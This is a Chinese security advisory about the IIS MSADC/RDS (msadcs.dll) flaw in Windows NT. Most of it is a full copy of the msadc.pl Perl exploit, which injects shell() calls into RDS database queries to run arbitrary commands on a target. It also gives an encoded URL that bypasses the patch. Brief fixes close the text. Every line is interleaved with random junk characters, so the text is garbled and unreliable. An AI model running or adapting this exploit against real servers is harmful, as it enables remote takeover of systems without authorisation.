IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
p* tAwl f vr|<3ojo 涉及程序：
l [
Na vw Microsoft NT server
`Zd\d:Wyv Mb'Tx 描述：
lH"4 "r 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Z?) =4| :NXM.@jJ=" 详细：
uol EX+ 如果你没有时间读详细内容的话，就删除:
%Iv*u sXP c:\Program Files\Common Files\System\Msadc\msadcs.dll
T* rx5*:o 有关的安全问题就没有了。
aS&,$sR |WsB 0R 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
M6H#Y2!ZbC Bb*P);#.K 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
p>= b|Qy| 关于利用ODBC远程漏洞的描述，请参看:
zA*I=3 E( XG01g3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm S(Q=2Y ( ! 0fmL 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
?VR:e7|tU http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1Y{pf]5Wx l@`Do [ 这里不再论述。
#SqU>R lFbf9s:$B 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
;CLOZ{ 5?XIp6%x /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+|zcjI'=O 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
h9I vuv' rvp#[RAaS} 8 EUc
6 #将下面这段保存为txt文件，然后: "perl -x 文件名"
DgODTxi X I6rB_~]h #!perl
wOF";0EN #
)=%TIkeF # MSADC/RDS 'usage' (aka exploit) script
=> X" #
69$gPY'3 # by rain.forest.puppy
@w73U; 9\ #
kR65{h"gZT # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
>Qx
:l#B # beta test and find errors!
4N8(WI"4S uO5y{O2W use Socket; use Getopt::Std;
+AYB0`X) getopts("e:vd:h:XR", \%args);
;%!]C0 ? ] [ 1
iKT print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
l#fwNM/F Xhp={p ; if (!defined $args{h} && !defined $args{R}) {
m*~Iu<5L print qq~
x@? YS Usage: msadc.pl -h <host> { -d <delay> -X -v }
?<STl-]& -h <host> = host you want to scan (ip or domain)
|H
,-V; -d <seconds> = delay between calls, default 1 second
"I 0F"nQ -X = dump Index Server path table, if available
# H.DnW -v = verbose
Y>Fh<"A|$ -e = external dictionary file for step 5
]. HHTCD`c K(}g!iT)~ Or a -R will resume a command session
bDjm:G 0[.T`tpN' ~; exit;}
,f}u|D 3@ 5F$~ZDu $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
u#nM_ UJe if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|OBh :d_B] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
uYCWsw/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7&
'p"hF $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
QE+HL8c^s if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
SGP)A(,k9 Sy"!Q%+ | if (!defined $args{R}){ $ret = &has_msadc;
HcCT =x7: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
qh#?a' p mUG`8SY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
[Zne19 / . "cmd /c ";
#AF.1;(k $in=<STDIN>; chomp $in;
#j4RX:T*[ $command="cmd /c " . $in ;
MJ<jF(_=
:: s k) if (defined $args{R}) {&load; exit;}
_B7+n"t\r 2:G/Oj h&] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
zI" 1.^Trn &try_btcustmr;
uU/'oZ? w5;d/r<q print "\nStep 2: Trying to make our own DSN...";
W~j >&PK,? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0 DX)%s,KO Ynl Zyw! print "\nStep 3: Trying known DSNs...";
n ;e.N:p &known_dsn;
th%T(D5n 9QHV%% print "\nStep 4: Trying known .mdbs...";
''H;/&nDX &known_mdb;
yb) a m1Xc3=Y if (defined $args{e}){
h ^'+y1 print "\nStep 5: Trying dictionary of DSN names...";
+}iuTqu5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
i2E@5 v=|Y Yc^,Cj{OM print "Sorry Charley...maybe next time?\n";
"' ~&D/7 exit;
1F R 1!;4I@W(I) ##############################################################################
La$?/\Dv) xM?tdQ~VHY sub sendraw { # ripped and modded from whisker
SW7AG;c= sleep($delay); # it's a DoS on the server! At least on mine...
e \ . my ($pstr)=@_;
ak\[+wQ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Lum5Va%0 die("Socket problems\n");
%R P\,| if(connect(S,pack "SnA4x8",2,80,$target)){
lBLL45%BIN select(S); $|=1;
auAwZ i/ print $pstr; my @in=<S>;
vngn^2 select(STDOUT); close(S);
S]?I 7_ return @in;
h/]));p } else { die("Can't connect...\n"); }}
GHpP
*x Hb\['VhzM ##############################################################################
7A^L$TY $:D\yZ, sub make_header { # make the HTTP request
V ^< Zs//7 my $msadc=<<EOT
?hKpJA'% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Sb^o`~ Eh User-Agent: ACTIVEDATA
GYtp%<<9; Host: $ip
>cH}sNHy Content-Length: $clen
O+t'E 9Fa Connection: Keep-Alive
@s0 mX3P ]v l?J ADCClientVersion:01.06
\lF-]vz* Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
uQg& ]bSv f1q0*)fk --!ADM!ROX!YOUR!WORLD!
"] ]aF1 Content-Type: application/x-varg
0E#?H0<OeG Content-Length: $reqlen
2FQTu*p&B T:g%b @ EOT
bJ]bln H ; $msadc=~s/\n/\r\n/g;
~ 7:Q+ 0,, return $msadc;}
D{6<,#P{w 8|tnhA]~ ##############################################################################
@ zT2!C?^L aa}U87]k sub make_req { # make the RDS request
W !JEl|] my ($switch, $p1, $p2)=@_;
Lc0=5]D my $req=""; my $t1, $t2, $query, $dsn;
vw
:&c.zd i<*W,D6
if ($switch==1){ # this is the btcustmr.mdb query
#!t6'* $query="Select * from Customers where City=" . make_shell();
.f`KP!p. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ZUS06# t} $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
04:QEC"9mj z\>ZgRi~n elsif ($switch==2){ # this is general make table query
LeYI<a@n@$ $query="create table AZZ (B int, C varchar(10))";
(?ZS 9&y} $dsn="$p1";}
XRi37|p >^D5D%" elsif ($switch==3){ # this is general exploit table query
~R~eQ=8 $query="select * from AZZ where C=" . make_shell();
qfF2S $dsn="$p1";}
[ = Xb*~ !J[! i"e elsif ($switch==4){ # attempt to hork file info from index server
,,G'Zu r7 $query="select path from scope()";
9>;CvR $dsn="Provider=MSIDXS;";}
5:%`&B\ Px&)kEQ elsif ($switch==5){ # bad query
DS ;.)P" $query="select";
7h`t-6<!q $dsn="$p1";}
" Rn@yZV b1yS1i
D $t1= make_unicode($query);
Kxi@"<`S $t2= make_unicode($dsn);
( +(bw4V/ $req = "\x02\x00\x03\x00";
(V0KmNCW` $req.= "\x08\x00" . pack ("S1", length($t1));
o 90[, $req.= "\x00\x00" . $t1 ;
U "v=XK)! $req.= "\x08\x00" . pack ("S1", length($t2));
on
4
$n7 $req.= "\x00\x00" . $t2 ;
9r
](/"=f $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
-`5L;cxwk4 return $req;}
%2'Y@A X` ps33& ##############################################################################
G$2Pny<! *!yA'z< sub make_shell { # this makes the shell() statement
Bnw^W _ return "'|shell(\"$command\")|'";}
,r;E[k@ +1 c[!;' ##############################################################################
izLB4pk$ YTg8Zg-Z sub make_unicode { # quick little function to convert to unicode
I( < Trn my ($in)=@_; my $out;
O;.DQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
rdH^"( return $out;}
cbW=kQc_ d}wE4(]b ##############################################################################
\W|ymV_Ki sn+ kFvk}S sub rdo_success { # checks for RDO return success (this is kludge)
J)sOn e my (@in) = @_; my $base=content_start(@in);
VUD9ZyPw if($in[$base]=~/multipart\/mixed/){
V!s#xXD } return 1 if( $in[$base+10]=~/^\x09\x00/ );}
-i]2 b return 0;}
MR zY<MD yF-`f
_ ##############################################################################
%&wi@ *# SPnW8 sub make_dsn { # this makes a DSN for us
{x~r$")c? my @drives=("c","d","e","f");
zr wzI+4 print "\nMaking DSN: ";
10_ >EY` foreach $drive (@drives) {
pv^: G; print "$drive: ";
U"Y/PBs, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
=FQH5iSd "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%K0Wm#) . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
W> u{JgY $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
g FXz:!A return 0 if $2 eq "404"; # not found/doesn't exist
A2.4#Qb' if($2 eq "200") {
M$} AJS%8 foreach $line (@results) {
cDz^jC return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
eTI?Mu>C } return 0;}
yc f)*0k me90|GOx+ ##############################################################################
M2nUY`%#v '@ 1C$0tx sub verify_exists {
vZPBjloT!. my ($page)=@_;
I(j$^DA. my @results=sendraw("GET $page HTTP/1.0\n\n");
"om[S : ai return $results[0];}
-4obX xdMY2u ##############################################################################
GyfKSj; 6cOlY=
bn sub try_btcustmr {
ADA} _|O my @drives=("c","d","e","f");
+mYK my @dirs=("winnt","winnt35","winnt351","win","windows");
h r6?9RJY u R]8ZT") foreach $dir (@dirs) {
;,xM* print "$dir -> "; # fun status so you can see progress
k h6n(B\ foreach $drive (@drives) {
GQ sE5Vb print "$drive: "; # ditto
p+-IvU $reqlen=length( make_req(1,$drive,$dir) ) - 28;
:.(A, $reqlenlen=length( "$reqlen" );
z Ece>=C $clen= 206 + $reqlenlen + $reqlen;
sAnb
ei~f1$zc#h my @results=sendraw(make_header() . make_req(1,$drive,$dir));
A>)Ced! if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
QkYKm <b else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
md lMciP Z_mQpt|y ##############################################################################
,lVQ -qw5 Sa/]81 aG sub odbc_error {
Q'YakEv >= my (@in)=@_; my $base;
tD,I7%|@ my $base = content_start(@in);
J|([( if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
TY?O$d2b3 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#$l:% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Hx n#vAc $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w8zr0z return $in[$base+4].$in[$base+5].$in[$base+6];}
AuY*x;~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
)"_ &CYnd print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
gL`aLg_ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6#ktw)e MjbgAH- ##############################################################################
6NQ`IC B_RF)meux sub verbose {
<@c@`K my ($in)=@_;
7Dw. 9EQ return if !$verbose;
cH707?p/I print STDOUT "\n$in\n";}
h<qi[d4 X ]l`V#Rd ##############################################################################
+^%)QH>9 E&)o.l<h| sub save {
U|aEyMU my ($p1, $p2, $p3, $p4)=@_;
^2i $AM1t open(OUT, ">rds.save") || print "Problem saving parameters...\n";
x@D> J G print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
B7sBO6Z$J close OUT;}
`/<f([ w 8t |?b ##############################################################################
0v``4z 2Z X]dN1/_ sub load {
RFq= `/>dG my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
gLlA'` ! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
"G Jhx/zt @p=<IN>; close(IN);
C8= r sh $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
!e+Sa{X $target= inet_aton($ip) || die("inet_aton problems");
<- R% print "Resuming to $ip ...";
t0Inf
[um $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
+ -rSO"nc if($p[1]==1) {
09i7 7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
r4fd@<=g $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
IR32O,) my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
_qH]OSo if (rdo_success(@results)){print "Success!\n";}
olm'_ {{
else { print "failed\n"; verbose(odbc_error(@results));}}
vzF6e eaD elsif ($p[1]==3){
ygd*zy9 if(run_query("$p[3]")){
X|L _}Q7 print "Success!\n";} else { print "failed\n"; }}
u++ a0>N elsif ($p[1]==4){
4tSh.qBht if(run_query($drvst . "$p[3]")){
O%<+& Q7 print "Success!\n"; } else { print "failed\n"; }}
=FM rVE exit;}
rddn"~lm1 ?"kU+tCxg ##############################################################################
Jg$ NYs.xZ &SP Iu, sub create_table {
s"~,Zz y@j my ($in)=@_;
21] K7 $reqlen=length( make_req(2,$in,"") ) - 28;
3f:]*U+O $reqlenlen=length( "$reqlen" );
h]4qJ $clen= 206 + $reqlenlen + $reqlen;
#v4^,$k> my @results=sendraw(make_header() . make_req(2,$in,""));
Z/:W.*u return 1 if rdo_success(@results);
(l/ i# my $temp= odbc_error(@results); verbose($temp);
n.,ZgLx[" return 1 if $temp=~/Table 'AZZ' already exists/;
)iZhE"?z return 0;}
S+?*l4QK y,c \'}*H ##############################################################################
!Nbi&^k B r MJ4w['J= sub known_dsn {
RK_z!%(P # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
[geT u my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5G z~,_ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!Wy&+ H*0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
gL1r"&^L Vkqfs4 t foreach $dSn (@dsns) {
V1A7hRjxvG print ".";
TLg 9`UA next if (!is_access("DSN=$dSn"));
5oOs.(m|*C if(create_table("DSN=$dSn")){
Rli`]~!w print "$dSn successful\n";
[TT:^F(Y if(run_query("DSN=$dSn")){
}}wSn s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
X*e:MRw[ print "Something's borked. Use verbose next time\n";}}} print "\n";}
1Sv$!xX `n 8:]5H}H i ##############################################################################
fL gHQ FH;)5GGnv sub is_access {
k;.<DN my ($in)=@_;
5KssfI
a $reqlen=length( make_req(5,$in,"") ) - 28;
$<f+CtD4 $reqlenlen=length( "$reqlen" );
wD@ wOC
$clen= 206 + $reqlenlen + $reqlen;
_b
&Aa% my @results=sendraw(make_header() . make_req(5,$in,""));
T n,Ifo3 my $temp= odbc_error(@results);
N9z!-y'X verbose($temp); return 1 if ($temp=~/Microsoft Access/);
sEx\7t K return 0;}
W#^p%?8pR iT1H bAT] ##############################################################################
">nFzg?Y [U7r>& sub run_query {
3 W3d $ my ($in)=@_;
L.a~vk
1 $reqlen=length( make_req(3,$in,"") ) - 28;
k7z{q/]M $reqlenlen=length( "$reqlen" );
x6 |QTO $clen= 206 + $reqlenlen + $reqlen;
"||G`%aO+t my @results=sendraw(make_header() . make_req(3,$in,""));
, qhv( return 1 if rdo_success(@results);
/ jOug>s my $temp= odbc_error(@results); verbose($temp);
^Ux*"\/ Es return 0;}
_3gF~qr > 'J WW*Y! ##############################################################################
` $[`C/h MO79FNH2\ sub known_mdb {
M5S<N_+Pe my @drives=("c","d","e","f","g");
fXkemB^)_ my @dirs=("winnt","winnt35","winnt351","win","windows");
]8op I\ my $dir, $drive, $mdb;
E8We2T[^M my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,E4qxZC(X Uq2 Qh@B # this is sparse, because I don't know of many
[_p&,$z8[ my @sysmdbs=( "\\catroot\\icatalog.mdb",
l`{JxVg "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
JI92Dc*o "\\system32\\certmdb.mdb",
iHyA;'!Os "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Y F W0 !|#1z}( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
+] {PEnJ "\\cfusion\\cfapps\\forums\\forums_.mdb",
pB,@<\l % "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
*\[G fTL "\\cfusion\\cfapps\\security\\realm_.mdb",
B 6,X) "\\cfusion\\cfapps\\security\\data\\realm.mdb",
! q*]_1 "\\cfusion\\database\\cfexamples.mdb",
PPNZ(j "\\cfusion\\database\\cfsnippets.mdb",
=+wkjTO "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Yc
V*3` "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
5W? r04 "\\cfusion\\brighttiger\\database\\cleam.mdb",
7ZgFCK,8m, "\\cfusion\\database\\smpolicy.mdb",
I4 4bm?[S "\\cfusion\\database\cypress.mdb",
2 lBu"R 6} "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
.{k^
tf4 "\\website\\cgi-win\\dbsample.mdb",
%:.00F([r "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Jm
G)=$, "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
`
_]tN ); #these are just
e@{8 G^o>D foreach $drive (@drives) {
lD)QB!*v foreach $dir (@dirs){
-"3<L l foreach $mdb (@sysmdbs) {
@Tf5YZ* print ".";
w1|YR if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
XAc#ywophi print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^'aMp}3iu if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
=nN&8 vRH print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
dD"o~iEC } else { print "Something's borked. Use verbose next time\n"; }}}}}
Y<-dd"\ 1:lhZFZ foreach $drive (@drives) {
$+ ?A[{JG foreach $mdb (@mdbs) {
B (dq$+4 print ".";
HzF]hm, if(create_table($drv . $drive . $dir . $mdb)){
%y;Cgo[ print "\n" . $drive . $dir . $mdb . " successful\n";
&`[Dl(W if(run_query($drv . $drive . $dir . $mdb)){
[.`#N1-@M print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
NFcMh+qnK } else { print "Something's borked. Use verbose next time\n"; }}}}
v Zpt}u }
4]]1J L(Ka R%N&Y~zH ##############################################################################
*.0#cP7 " w">p
8 sub hork_idx {
z,B'I.)M print "\nAttempting to dump Index Server tables...\n";
O486:tF print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3?GEXO&,E $reqlen=length( make_req(4,"","") ) - 28;
Af>Ho"i $reqlenlen=length( "$reqlen" );
C/Dc1sj $clen= 206 + $reqlenlen + $reqlen;
gyW##M@{ my @results=sendraw2(make_header() . make_req(4,"",""));
\[w 82%U if (rdo_success(@results)){
]`x\Oj & my $max=@results; my $c; my %d;
ZKa.MBde for($c=19; $c<$max; $c++){
T!N,1"r $results[$c]=~s/\x00//g;
Y8 a![ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&Rx-zp&dJ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
0SBiMTm $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Iz\I Qa $d{"$1$2"}="";}
?5 ! >k^q foreach $c (keys %d){ print "$c\n"; }
)5U&^tJ } else {print "Index server doesn't seem to be installed.\n"; }}
- \!"Kz/ TY3WP$u ##############################################################################
ggUJ -M'2h )Aky :kM$ sub dsn_dict {
| :i``gFj open(IN, "<$args{e}") || die("Can't open external dictionary\n");
$z~sN while(<IN>){
"7pd(p *C $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
{uRnZ/m next if (!is_access("DSN=$dSn"));
JYB<};, if(create_table("DSN=$dSn")){
\P_1@sH= print "$dSn successful\n";
9ci=]C5o3K if(run_query("DSN=$dSn")){
|8b*BnS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1dF =BR8 print "Something's borked. Use verbose next time\n";}}}
wU#79:h print "\n"; close(IN);}
Yl+r>+^ bb6J$NR ##############################################################################
YoKY&i6r} GyOo$FW sub sendraw2 { # ripped and modded from whisker
]kuMzTH sleep($delay); # it's a DoS on the server! At least on mine...
47xJ(yO my ($pstr)=@_;
NGlX% j4j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1B;sSp.> die("Socket problems\n");
ZgL4 $% if(connect(S,pack "SnA4x8",2,80,$target)){
0k5;Qf6A print "Connected. Getting data";
>*v^E9Y open(OUT,">raw.out"); my @in;
UJ_E&7,L select(S); $|=1; print $pstr;
?+S& `%? while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
1Ig@ gdmz close(OUT); select(STDOUT); close(S); return @in;
;Bo{.916 } else { die("Can't connect...\n"); }}
?3"bu$@8 ^<R*7mB* ##############################################################################
$Blo` ' )A a98Eu?2 sub content_start { # this will take in the server headers
`}KK@ (Y my (@in)=@_; my $c;
SB1\SN B for ($c=1;$c<500;$c++) {
/s>ZT8vaAs if($in[$c] =~/^\x0d\x0a/){
*K6 V$_{S if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
) w.cCDL c else { return $c+1; }}}
ANy=f-V return -1;} # it should never get here actually
MC!K7ji ?]081l7cd ##############################################################################
yG5T;O& cy)gN
g sub funky {
6|m 1z my (@in)=@_; my $error=odbc_error(@in);
N0h"EV[ if($error=~/ADO could not find the specified provider/){
C26PQ Go#$ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
$Xw .iN]g exit;}
<D4.kM if($error=~/A Handler is required/){
Cd.p MoS print "\nServer has custom handler filters (they most likely are patched)\n";
ul+
+h4N exit;}
.9WJ/RKZ\D if($error=~/specified Handler has denied Access/){
v6
DN:!& print "\nServer has custom handler filters (they most likely are patched)\n";
rp.S4;=Q 9 exit;}}
C:g2E[# ,ijgq EN ##############################################################################
KL!k'4JNY '+NmHu:q sub has_msadc {
:cop0;X:Wm my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
2f>lgZ! my $base=content_start(@results);
dWE[*a\g return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
ho2o/>Ef3 return 0;}
3uCC _Am iLn)Z0<\o ########################
zr?%k]A%UO t<9oEjk[" b&A+`d 解决方案：
*KF: 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
59 O;`y0 2、移除web 目录: /msadc
